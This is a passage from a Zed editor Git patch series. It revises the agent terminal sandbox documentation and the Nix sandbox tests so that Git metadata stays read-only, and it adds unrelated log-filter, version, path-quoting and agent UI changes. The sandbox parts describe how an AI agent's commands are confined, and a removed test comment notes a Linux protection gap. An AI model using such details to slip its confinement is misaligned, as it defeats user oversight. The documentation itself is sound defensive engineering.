 | `network_hosts`      | Hosts that sandboxed tools may reach without prompting. Entries can be exact hostnames or leading-`*.` wildcards. |
 | `allow_all_hosts`    | Allow sandboxed tools to reach any host without prompting.                                                        |
-| `allow_git_access`   | Allow sandboxed terminal commands to access protected Git metadata without prompting.                             |
 | `write_paths`        | Directory subtrees that sandboxed terminal commands may write to without prompting. Paths are absolute.           |
-| `allow_fs_write_all` | Allow sandboxed terminal commands to write anywhere without prompting.                                            |
+| `allow_fs_write_all` | Allow sandboxed terminal commands to write anywhere except protected Git metadata without prompting.              |
 | `allow_unsandboxed`  | Allow terminal commands to run outside the sandbox without prompting when the agent explicitly requests it.       |
 
-Prefer narrow grants, such as a specific host, Git metadata access, or write path, over `allow_all_hosts`,
-`allow_fs_write_all`, or `allow_unsandboxed`.
+Prefer narrow grants, such as a specific host or write path, over `allow_all_hosts`, `allow_fs_write_all`, or
+`allow_unsandboxed`.
+
+## Git Metadata {#git-metadata}
+
+Git metadata writes are not grantable while a terminal command is sandboxed. This includes writes to `.git` directories,
+linked worktree metadata, refs, the index, hooks, local Git config, and other Git-controlled metadata files. Approving a
+specific writable path or `allow_fs_write_all` does not make Git metadata writable.
+
+When a Git command genuinely needs to update Git metadata, such as `git commit`, `git fetch`, `git checkout`, or `git
+rebase`, approve unsandboxed execution instead. For read-only operations, prefer Git flags that avoid optional metadata
+writes when possible. For example, use `git --no-optional-locks status` instead of `git status`.
 
 ## Platform Support {#platform-support}
 
@@ -111,7 +117,8 @@ Sandboxed terminal commands:
 - can read the filesystem
 - can write inside open project directories, except protected Git metadata
 - can write to a per-thread temporary directory exposed through `$TMPDIR`, `$TMP`, and `$TEMP`
-- cannot read or write protected Git metadata unless you approve Git metadata access
+- can read protected Git metadata
+- cannot write protected Git metadata, even if you approve broader write access
 - cannot write elsewhere unless you approve additional paths or broader write access
 - cannot reach the network unless you approve network access
 
@@ -133,7 +140,7 @@ Sandboxed terminal commands:
 - can read the filesystem, including protected Git metadata contents
 - can write inside open project directories, except protected Git metadata
 - can write to `/tmp`, which is backed by a fresh temporary filesystem and is cleared between terminal tool calls
-- cannot write protected Git metadata unless you approve Git metadata access
+- cannot write protected Git metadata
 - cannot write elsewhere unless you approve additional paths or broader write access
 - cannot reach the network unless you approve network access
 
@@ -155,9 +162,9 @@ command cannot be confined by Zed Agent's OS sandbox in the same way.
 When running inside WSL, the Linux sandboxing behavior applies, including the requirement that `bwrap` not be setuid-root:
 
 - filesystem isolation is provided by Bubblewrap
-- protected Git metadata contents remain readable, but writes are blocked unless you approve Git metadata access
+- protected Git metadata contents remain readable, but writes are blocked
 - `/tmp` is temporary for sandboxed terminal calls
-- network access is all-or-nothing rather than host-specific
+- network access is all-or-nothing rather than host-specific, so host-specific network requests are rejected and the agent must request unrestricted network access when network access is needed
 
 If WSL is not installed, or if you choose to run a command without the sandbox, Zed falls back to the standard terminal
 behavior of running in your native shell. It selects the shell using the usual preference order: Git Bash (or scoop's
@@ -170,8 +177,6 @@ rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shel
 When reviewing a sandbox prompt, prefer the narrowest permission that lets the task proceed:
 
 - approve a specific host instead of all hosts when the destination is known
-- approve Git metadata access when the command needs to run Git operations such as `git fetch`, `git commit`, or
-  `git status`
 - approve a specific write path instead of unrestricted filesystem writes
 - approve unsandboxed execution only when the command cannot work inside the sandbox
 - use one-time approvals for unfamiliar commands
diff --git a/docs/src/ai/tools.md b/docs/src/ai/tools.md
index a4753260ccfc8d..3b47da18798385 100644
--- a/docs/src/ai/tools.md
+++ b/docs/src/ai/tools.md
@@ -31,6 +31,8 @@ When no path is provided, shows a summary of error and warning counts for all fi
 
 Fetches a URL and returns the content as Markdown. Useful for providing docs as context.
 
+`fetch` is governed by tool permissions, agent profiles, and project trust. It is not run inside the terminal OS sandbox, so terminal sandbox network grants such as `allow_hosts` and `allow_all_hosts` do not apply to it.
+
 **Example:** Fetching a library's changelog page to check whether a breaking API change was introduced in a recent version before writing integration code.
 
 ### `find_path`
diff --git a/nix/tests/sandboxing/default.nix b/nix/tests/sandboxing/default.nix
index eb4fbad82b0757..185c70bbe4cc5f 100644
--- a/nix/tests/sandboxing/default.nix
+++ b/nix/tests/sandboxing/default.nix
@@ -31,11 +31,8 @@
 #   writablePaths = [ ];        # writable subtrees when fs = "restricted"
 #   networkAccess = "blocked";  # or "unrestricted" / "restricted"
 #   allowedDomains = [ ];       # allowed hosts when networkAccess = "restricted"
-#   gitDisabled = [ ];          # `.git` dirs whose contents are protected
-#                               # (read-only on Linux). Mutually exclusive with
-#                               # gitAllowed.
-#   gitAllowed = [ ];           # `.git` dirs whose contents are made writable.
-#                               # Mutually exclusive with gitDisabled.
+#   protectedPaths = [ ];       # paths that remain readable but not writable,
+#                               # even if they fall under a writable subtree.
 #
 # Two echo servers (`echo1`, `echo2`) on separate nodes give the network checks
 # real peers, so a restricted-network policy that allowlists `echo1` can be
@@ -237,136 +234,49 @@ in
         succeeds = true;
       }
 
-      # ---- Git protection ----------------------------------------------------
-      # The worktree is writable, but the `.git` directory inside it can be
-      # protected (Git disabled) or opened up (Git allowed) independently. On
-      # Linux a protected `.git` is re-bound read-only *over* the writable
-      # worktree, so its contents stay readable but writes are denied.
-
-      # Git disabled: the worktree is writable but `.git` is protected, so a
-      # write into `.git` is denied. This is the core case the feature exists
-      # for — an agent editing the project must not be able to corrupt Git
-      # metadata.
+      # ---- Protected paths ---------------------------------------------------
+      # A path inside a writable subtree can be re-bound read-only over the
+      # writable bind (order matters: later binds win). On Linux, protected paths
+      # remain readable but writes are denied.
       {
         fs = "restricted";
         writablePaths = [ "/sandbox-test/repo" ];
-        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        protectedPaths = [ "/sandbox-test/repo/protected" ];
         networkAccess = "blocked";
-        write = "/sandbox-test/repo/.git/test";
+        write = "/sandbox-test/repo/protected/test";
         succeeds = false;
       }
 
-      # Git allowed: the same write into `.git` now succeeds because the policy
-      # makes `.git` writable.
+      # Protected paths affect only the protected subtree: ordinary writes
+      # elsewhere in the writable worktree are unaffected.
       {
         fs = "restricted";
         writablePaths = [ "/sandbox-test/repo" ];
-        gitAllowed = [ "/sandbox-test/repo/.git" ];
-        networkAccess = "blocked";
-        write = "/sandbox-test/repo/.git/test";
-        succeeds = true;
-      }
-
-      # Git disabled protects only `.git`: ordinary writes elsewhere in the
-      # writable worktree are unaffected.
-      {
-        fs = "restricted";
-        writablePaths = [ "/sandbox-test/repo" ];
-        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        protectedPaths = [ "/sandbox-test/repo/protected" ];
         networkAccess = "blocked";
         write = "/sandbox-test/repo/src/main.rs";
         succeeds = true;
       }
 
-      # Git disabled is a subtree protection: a write to something nested deep
-      # inside `.git` is denied too, not just a top-level file.
+      # Protected paths block writes but NOT reads on Linux because the protected
+      # subtree is read-only.
       {
         fs = "restricted";
         writablePaths = [ "/sandbox-test/repo" ];
-        gitDisabled = [ "/sandbox-test/repo/.git" ];
-        networkAccess = "blocked";
-        write = "/sandbox-test/repo/.git/hooks/pre-commit";
-        succeeds = false;
-      }
-
-      # Git disabled blocks writes but NOT reads: on Linux a protected `.git` is
-      # read-only, so its contents remain readable from inside the sandbox
-      # (Git status, log, diff, … must keep working).
-      {
-        fs = "restricted";
-        writablePaths = [ "/sandbox-test/repo" ];
-        gitDisabled = [ "/sandbox-test/repo/.git" ];
-        networkAccess = "blocked";
-        read = "/sandbox-test/repo/.git/HEAD";
-        succeeds = true;
-      }
-
-      # Git allowed grants writes to `.git` on its own, even when the worktree
-      # itself is not in `writablePaths`. The policy's Git dirs are made
-      # writable directly.
-      {
-        fs = "restricted";
-        writablePaths = [ ];
-        gitAllowed = [ "/sandbox-test/repo/.git" ];
+        protectedPaths = [ "/sandbox-test/repo/protected" ];
         networkAccess = "blocked";
-        write = "/sandbox-test/repo/.git/test";
+        read = "/sandbox-test/repo/protected/HEAD";
         succeeds = true;
       }
 
-      # ...and that grant is scoped to `.git`: it does not make the surrounding
-      # worktree writable. A write next to `.git` (not in `writablePaths`) is
-      # still denied.
-      {
-        fs = "restricted";
-        writablePaths = [ ];
-        gitAllowed = [ "/sandbox-test/repo/.git" ];
-        networkAccess = "blocked";
-        write = "/sandbox-test/repo/README.md";
-        succeeds = false;
-      }
-
-      # Multiple repositories: each protected `.git` is independently denied.
-      # This exercises the list handling — a write into the *second* repo's
-      # `.git` must still be blocked.
-      {
-        fs = "restricted";
-        writablePaths = [
-          "/sandbox-test/repo-a"
-          "/sandbox-test/repo-b"
-        ];
-        gitDisabled = [
-          "/sandbox-test/repo-a/.git"
-          "/sandbox-test/repo-b/.git"
-        ];
-        networkAccess = "blocked";
-        write = "/sandbox-test/repo-b/.git/test";
-        succeeds = false;
-      }
-
-      # The fs escape hatch supersedes Git protection: when filesystem writes
-      # are unrestricted there is no read-only bind to protect `.git`, so the
-      # write succeeds. This documents that `gitDisabled` only has teeth under a
-      # restricted filesystem policy.
+      # Protected paths stay read-only even when ordinary filesystem writes are
+      # otherwise unrestricted.
       {
         fs = "unrestricted";
-        gitDisabled = [ "/sandbox-test/repo/.git" ];
-        networkAccess = "blocked";
-        write = "/sandbox-test/repo/.git/test";
-        succeeds = true;
-      }
-
-      # Documented Linux gap: a `.git` that does not yet exist when the sandbox
-      # is built cannot be re-bound read-only, so it is skipped. Writing the
-      # `.git` entry itself (its parent worktree is writable, and `.git` does
-      # not exist beforehand) therefore succeeds. macOS denies this even before
-      # `.git` exists; bwrap cannot, and this test pins that difference.
-      {
-        fs = "restricted";
-        writablePaths = [ "/sandbox-test/fresh-repo" ];
-        gitDisabled = [ "/sandbox-test/fresh-repo/.git" ];
+        protectedPaths = [ "/sandbox-test/repo/protected" ];
         networkAccess = "blocked";
-        write = "/sandbox-test/fresh-repo/.git";
-        succeeds = true;
+        write = "/sandbox-test/repo/protected/test";
+        succeeds = false;
       }
 
       # Blocked network: the echo server is unreachable.

From b083358680a69ec982bd3efdcbcd1c90e08d6b2b Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 1 Jul 2026 23:18:54 +0800
Subject: [PATCH 193/772] Suppress `pet` log spam when opening Python projects
 (#60204)

# Objective

Zed uses `pet` to auto-discover Python virtual environments. When
opening Python projects, there is a large amount of log spam from `pet`
output, which is not useful:

```
2026-07-01T22:32:07+08:00 INFO  [pet::find] find_and_report_envs; search_scope=None
2026-07-01T22:32:07+08:00 INFO  [lsp] starting language server process. binary path: "/usr/bin/ty", working directory: "/home/xin/works/test/test_python", args: ["server"]
2026-07-01T22:32:07+08:00 INFO  [pet::find] locators_phase;
2026-07-01T22:32:07+08:00 INFO  [pet::find] path_search_phase;
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=PipEnv
2026-07-01T22:32:07+08:00 INFO  [pet::find] workspace_search_phase;
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=PyEnv
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Pixi
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Conda
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Uv
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Poetry
2026-07-01T22:32:07+08:00 INFO  [pet::find] global_virtualenvs_phase;
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Venv
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=VirtualEnv
2026-07-01T22:32:07+08:00 INFO  [pet::find] find_python_environments_in_workspace_folder_recursive; workspace_folder="/home/xin/works/test/test_python" workspace=/home/xin/works/test/test_python
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=Homebrew
2026-07-01T22:32:07+08:00 INFO  [lsp] starting language server process. binary path: "/usr/bin/ruff", working directory: "/home/xin/works/test/test_python", args: ["server"]
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=LinuxGlobal
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] locator_find; locator=VirtualEnvWrapper
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=["/home/xin/works/test/test_python/.venv/bin/python"] executable_count=1
2026-07-01T22:32:07+08:00 INFO  [pet::locators] identify_python_environment_using_locators; env=PythonEnv { executable: "/home/xin/works/test/test_python/.venv/bin/python", prefix: Some("/home/xin/works/test/test_python/.venv"), version: None, symlinks: None } executable=/home/xin/works/test/test_python/.venv/bin/python
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PyEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Pixi
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Conda
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Uv
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=[] executable_count=0
2026-07-01T22:32:07+08:00 INFO  [pet::find] identify_python_executables_using_locators; executables=["/usr/bin/python", "/usr/bin/python3", "/usr/bin/python3.14"] executable_count=3
2026-07-01T22:32:07+08:00 INFO  [pet::locators] identify_python_environment_using_locators; env=PythonEnv { executable: "/usr/bin/python", prefix: None, version: None, symlinks: None } executable=/usr/bin/python
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PyEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Pixi
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Conda
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Uv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Poetry
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PipEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnvWrapper
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Venv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Homebrew
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=LinuxGlobal
2026-07-01T22:32:07+08:00 INFO  [pet::locators] resolve_python_env; executable=/usr/bin/python
2026-07-01T22:32:07+08:00 INFO  [pet::locators] identify_python_environment_using_locators; env=PythonEnv { executable: "/usr/bin/python3", prefix: None, version: None, symlinks: None } executable=/usr/bin/python3
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PyEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Pixi
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Conda
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Uv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Poetry
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PipEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnvWrapper
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Venv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Homebrew
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=LinuxGlobal
2026-07-01T22:32:07+08:00 INFO  [pet::locators] resolve_python_env; executable=/usr/bin/python3
2026-07-01T22:32:07+08:00 INFO  [pet::locators] identify_python_environment_using_locators; env=PythonEnv { executable: "/usr/bin/python3.14", prefix: None, version: None, symlinks: None } executable=/usr/bin/python3.14
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PyEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Pixi
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Conda
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Uv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Poetry
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=PipEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnvWrapper
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Venv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=VirtualEnv
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=Homebrew
2026-07-01T22:32:07+08:00 INFO  [pet::locators] try_from_locator; locator=LinuxGlobal
2026-07-01T22:32:07+08:00 INFO  [pet::locators] resolve_python_env; executable=/usr/bin/python3.14
```


This PR is intended to remove this log spam.

## Solution

Add `pet` to the default log filters. Now, `INFO` logs from `pet` are
suppressed by default.

## Testing

Tested locally, and verified that there is no longer any `pet` log spam
in the Zed logs.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/zlog/src/filter.rs | 1 +
 1 file changed, 1 insertion(+)

diff --git a/crates/zlog/src/filter.rs b/crates/zlog/src/filter.rs
index 710ddf761eb6eb..4f03a47f609442 100644
--- a/crates/zlog/src/filter.rs
+++ b/crates/zlog/src/filter.rs
@@ -42,6 +42,7 @@ const DEFAULT_FILTERS: &[(&str, log::LevelFilter)] = &[
     // usvg prints a lot of warnings on rendering an SVG with partial errors, which
     // can happen a lot with the SVG preview
     ("usvg::parser", log::LevelFilter::Error),
+    ("pet", log::LevelFilter::Warn),
 ];
 
 pub fn init_env_filter(filter: env_config::EnvFilter) {

From 35c3d272828328b7217efccc146dc5b7d53490ff Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 1 Jul 2026 15:24:09 +0000
Subject: [PATCH 194/772] Bump Zed to v1.11.0 (#60209)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index d3be7e7882d9fd..c3ae43b5a9c606 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -22965,7 +22965,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.10.0"
+version = "1.11.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index 50099f28a4a2ed..2b67736bf0e250 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.10.0"
+version = "1.11.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From 7e0f63412c60008f9dae7fcf65fc6ab6d7e0f957 Mon Sep 17 00:00:00 2001
From: mertkanakkoc <52167810+mertkanakkoc@users.noreply.github.com>
Date: Wed, 1 Jul 2026 19:00:54 +0300
Subject: [PATCH 195/772] terminal_view: Use backslash escaping for dropped
 file paths for mac (#57747)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

When files are dragged into the terminal, paths were formatted using
Rust's Debug format (`{path:?}`), which wraps them in double quotes.
This caused issues with programs like Claude Code that parse bare paths
from terminal input — quoted paths were treated as plain text instead of
file references.

This change replaces double-quote wrapping with backslash escaping for
special shell characters on Unix, which is both valid shell syntax and
compatible with path-parsing tools running in the terminal. On non-Unix
platforms the previous behavior is preserved.

Tested on macOS only. Unable to verify Windows behavior.

Fixes #57471

Release Notes:

- Fixed/ file drag-and-drop into terminal inserting double-quoted paths,
which prevented tools like Claude Code from recognizing them as file
references.

---------

Co-authored-by: Conrad Irwin <conrad.irwin@gmail.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 Cargo.lock                                | 2 ++
 crates/agent_ui/Cargo.toml                | 1 +
 crates/agent_ui/src/agent_panel.rs        | 2 +-
 crates/terminal_view/Cargo.toml           | 3 ++-
 crates/terminal_view/src/terminal_view.rs | 4 ++--
 5 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index c3ae43b5a9c606..2445366c1264c6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -535,6 +535,7 @@ dependencies = [
  "serde_json",
  "serde_json_lenient",
  "settings",
+ "shlex",
  "streaming_diff",
  "task",
  "telemetry",
@@ -18419,6 +18420,7 @@ dependencies = [
  "serde_json",
  "settings",
  "shellexpand",
+ "shlex",
  "task",
  "terminal",
  "theme",
diff --git a/crates/agent_ui/Cargo.toml b/crates/agent_ui/Cargo.toml
index 8b25804d724350..822b91c3cd19ce 100644
--- a/crates/agent_ui/Cargo.toml
+++ b/crates/agent_ui/Cargo.toml
@@ -143,6 +143,7 @@ remote_server = { workspace = true, features = ["test-support"] }
 
 search = { workspace = true, features = ["test-support"] }
 semver.workspace = true
+shlex.workspace = true
 reqwest_client.workspace = true
 tempfile.workspace = true
 vim.workspace = true
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 7fe2d2c0b9f2db..88d8a5fd86d1bd 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -9038,7 +9038,7 @@ mod tests {
         let mut text = String::new();
         for path in paths {
             text.push(' ');
-            text.push_str(&format!("{path:?}"));
+            text.push_str(&shlex::try_quote(path.to_str().unwrap()).unwrap());
         }
         text.push(' ');
         text
diff --git a/crates/terminal_view/Cargo.toml b/crates/terminal_view/Cargo.toml
index 9da4c5ec6e1cf5..5197dee517a068 100644
--- a/crates/terminal_view/Cargo.toml
+++ b/crates/terminal_view/Cargo.toml
@@ -32,13 +32,14 @@ menu.workspace = true
 pretty_assertions.workspace = true
 project.workspace = true
 regex.workspace = true
-task.workspace = true
 schemars.workspace = true
+task.workspace = true
 
 serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
 shellexpand.workspace = true
+shlex.workspace = true
 terminal.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index 6511497623a174..ea888d564cc928 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -959,7 +959,7 @@ impl TerminalView {
     pub fn add_paths_to_terminal(&self, paths: &[PathBuf], window: &mut Window, cx: &mut App) {
         let mut text = paths
             .iter()
-            .map(|path| format!(" {path:?}"))
+            .filter_map(|path| Some(format!(" {}", shlex::try_quote(path.to_str()?).ok()?)))
             .collect::<String>();
         text.push(' ');
         window.focus(&self.focus_handle(cx), cx);
@@ -2176,7 +2176,7 @@ mod tests {
         let mut text = String::new();
         for path in paths {
             text.push(' ');
-            text.push_str(&format!("{path:?}"));
+            text.push_str(&shlex::try_quote(path.to_str().unwrap()).unwrap());
         }
         text.push(' ');
         text

From 550ddc9405943cfd69f34646f7af0179a5b0be41 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 1 Jul 2026 13:55:07 -0300
Subject: [PATCH 196/772] agent_ui: Replace thread controls with slash commands
 (#59974)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes AI-432

The turn-end action buttons in the agent panel (scroll to top, scroll to
most recent prompt, open as markdown, thumbs up/down, share/sync) are
now exposed as local slash commands in the message editor instead of
buttons rendered at the end of each turn. The actions themselves are
unchanged — this is just a different way to access them.

Release Notes:

- Changed some of the agent panel's turn-end action buttons into slash
commands in the message editor.

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 assets/icons/folder_share.svg                 |   4 +-
 assets/icons/folder_shared.svg                |   4 +-
 assets/icons/user_arrow_up.svg                |   6 +
 crates/agent_ui/src/agent_panel.rs            |  61 ++++-
 crates/agent_ui/src/completion_provider.rs    | 120 ++++++++-
 .../src/conversation_view/thread_view.rs      | 247 ++++++++++++------
 crates/agent_ui/src/message_editor.rs         | 145 +++++++++-
 crates/icons/src/icons.rs                     |   1 +
 8 files changed, 482 insertions(+), 106 deletions(-)
 create mode 100644 assets/icons/user_arrow_up.svg

diff --git a/assets/icons/folder_share.svg b/assets/icons/folder_share.svg
index 36db1414b8cf8f..898af2397c750e 100644
--- a/assets/icons/folder_share.svg
+++ b/assets/icons/folder_share.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
 <path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/folder_shared.svg b/assets/icons/folder_shared.svg
index 785b3aa56d708b..897bef603a182a 100644
--- a/assets/icons/folder_shared.svg
+++ b/assets/icons/folder_shared.svg
@@ -1,6 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
 <path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 <path opacity="0.2" d="M4 13H6H12C13.1046 13 14 12.1046 14 11V7.5V7C14 5.89543 13.1046 5 12 5H9.82843C9.29799 5 8.78929 4.78929 8.41421 4.41421L7.58579 3.58579C7.21071 3.21071 6.70201 3 6.17157 3H4C2.89543 3 2 3.89543 2 5V11C2 12.1046 2.89543 13 4 13Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2"/>
-<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/user_arrow_up.svg b/assets/icons/user_arrow_up.svg
new file mode 100644
index 00000000000000..8320108fa79590
--- /dev/null
+++ b/assets/icons/user_arrow_up.svg
@@ -0,0 +1,6 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
